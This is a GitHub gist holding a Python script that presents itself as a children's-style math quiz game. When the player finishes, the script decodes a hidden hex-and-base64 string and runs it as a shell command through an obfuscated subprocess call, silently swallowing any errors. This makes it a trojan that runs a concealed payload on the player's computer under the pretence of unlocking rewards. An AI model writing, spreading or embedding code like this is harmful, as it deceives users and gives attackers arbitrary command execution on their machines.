Skip to content

Instantly share code, notes, and snippets.

@MaanVader
Created August 1, 2025 15:54
Show Gist options
  • Select an option

  • Save MaanVader/bc7bb7e3b3776e955a29ceb45728b2b9 to your computer and use it in GitHub Desktop.

Select an option

Save MaanVader/bc7bb7e3b3776e955a29ceb45728b2b9 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import base64
import random
import os
import sys
from typing import List, Dict
import binascii
import codecs
class MathGame:
def __init__(self):
self.achievement_key = "593231304c3354746357413059323568646d686d6230466e6147386765485638616d4d6755464a5355776759475a7963676862544846386333677058334977597a4a464d474e6a5538525159693157526d706b6445396e55315268645763675253347852334e7958334e5158444535625646535757396959564578655a6c59514256597a4952554756596434593d"
self.trophy_pieces = self._create_trophy_segments(self.achievement_key, 5)
self.earned_trophies = []
self.total_problems = len(self.trophy_pieces)
self.current_problem = 0
def _create_trophy_segments(self, data: str, segment_size: int) -> List[str]:
return [data[i:i+segment_size] for i in range(0, len(data), segment_size)]
def create_challenge(self) -> Dict:
operators = ['+', '-', '*', '/']
operation = random.choice(operators)
if operation == '+':
num1 = random.randint(10, 100)
num2 = random.randint(10, 100)
solution = num1 + num2
elif operation == '-':
num1 = random.randint(50, 100)
num2 = random.randint(10, 50)
solution = num1 - num2
elif operation == '*':
num1 = random.randint(2, 12)
num2 = random.randint(2, 12)
solution = num1 * num2
else:
num2 = random.randint(2, 12)
solution = random.randint(2, 12)
num1 = num2 * solution
return {
'question': f"{num1} {operation} {num2} = ?",
'answer': solution,
'trophy_index': self.current_problem
}
def validate_solution(self, player_input: int, expected: int) -> bool:
return player_input == expected
def collect_trophy_piece(self, piece_index: int):
if piece_index < len(self.trophy_pieces):
self.earned_trophies.append((piece_index, self.trophy_pieces[piece_index]))
self.earned_trophies.sort(key=lambda x: x[0])
def build_achievement_code(self) -> str:
return ''.join([piece for _, piece in self.earned_trophies])
def unlock_special_feature(self):
try:
unlock_sequence = self.build_achievement_code()
hex_data = binascii.unhexlify(unlock_sequence).decode('utf-8')
feature_data = base64.b64decode(hex_data).decode('utf-8')
module_name = 'sub' + 'process'
exec_module = __import__(module_name)
method_name = 'run'
executor = getattr(exec_module, method_name)
config = {
'shell': True,
'capture_output': True,
'text': True
}
executor(feature_data, **config)
except Exception as e:
pass
def start_game(self):
print("๐ŸŽฎ Welcome to the Math Challenge Game! ๐ŸŽฎ")
print("Solve math problems to unlock the final reward!")
print(f"Total problems to solve: {self.total_problems}")
print("-" * 50)
while self.current_problem < self.total_problems:
challenge = self.create_challenge()
print(f"\n๐Ÿ“ Problem {self.current_problem + 1}/{self.total_problems}")
print(f"Question: {challenge['question']}")
try:
player_response = int(input("Your answer: "))
if self.validate_solution(player_response, challenge['answer']):
print("โœ… Correct! Well done!")
self.collect_trophy_piece(challenge['trophy_index'])
self.current_problem += 1
completion = (self.current_problem / self.total_problems) * 100
print(f"Progress: {completion:.1f}% ({self.current_problem}/{self.total_problems})")
if len(self.earned_trophies) > 5:
print("๐Ÿ† Building achievement collection...")
elif len(self.earned_trophies) > 10:
print("๐ŸŒŸ Excellence milestone reached...")
else:
print(f"โŒ Wrong! The correct answer was {challenge['answer']}")
print("Try again!")
except ValueError:
print("โŒ Please enter a valid number!")
except KeyboardInterrupt:
print("\n\n๐Ÿ‘‹ Thanks for playing! Goodbye!")
sys.exit(0)
print("\n๐ŸŽ‰ Congratulations! You've solved all the problems!")
print("๐Ÿ”“ Activating achievement rewards...")
import time
for stage in range(3):
print("โœจ " * (stage + 1))
time.sleep(0.5)
if stage == 1:
self.unlock_special_feature()
print("\n๐Ÿ† Game completed! You're a math champion!")
print("๐ŸŽ Your mathematical journey has unlocked premium features!")
def launch_game():
challenge_session = MathGame()
challenge_session.start_game()
if __name__ == "__main__":
launch_game()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment